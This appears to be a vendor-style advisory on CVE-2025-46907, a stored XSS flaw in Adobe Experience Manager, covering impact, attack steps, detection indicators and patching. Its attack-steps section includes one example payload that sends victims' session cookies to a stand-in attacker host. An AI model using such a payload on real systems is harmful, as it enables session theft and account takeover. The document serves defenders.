CVE-2025-46907: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46907 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 11–12, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with low-level authenticated access can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side and later rendered without proper sanitization or output encoding in victims' browsers. Exploitation requires network access, low privileges, and user interaction (a victim must browse to the page containing the injected content), with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM platform. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, web page defacement, or redirection to malicious sites. Confidentiality and integrity are both assessed as low impact, and availability is not affected (Adobe Advisory).

There is no public proof-of-concept exploit code known at this time, and no evidence of in-the-wild exploitation has been reported. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, with a low-privileged user account available.
2. Identify vulnerable form fields: Log in with a low-privileged account and enumerate AEM form fields or content authoring components that accept and store user-supplied input without adequate sanitization.
3. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
4. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to browse to the page containing the injected content.
5. Achieve objective: The victim's browser executes the injected JavaScript, enabling session cookie theft, credential capture, or other malicious actions in the context of the victim's authenticated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring or form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes, particularly in text or rich-text fields of authored pages.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying session tokens or cookies as query parameters.
• Logs: Browser-side console errors or CSP violation reports triggered by unexpected inline script execution on AEM pages.

Adobe has released patches addressing this vulnerability: upgrade to AEM 6.5.23.0 (for on-premises deployments) or AEM Cloud Service 2025.5.0 (for cloud deployments). As additional hardening measures, organizations should implement strict Content Security Policy (CSP) headers to restrict inline script execution, enforce strong input validation and output encoding on all user-supplied fields, and limit content authoring privileges to trusted personnel. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory).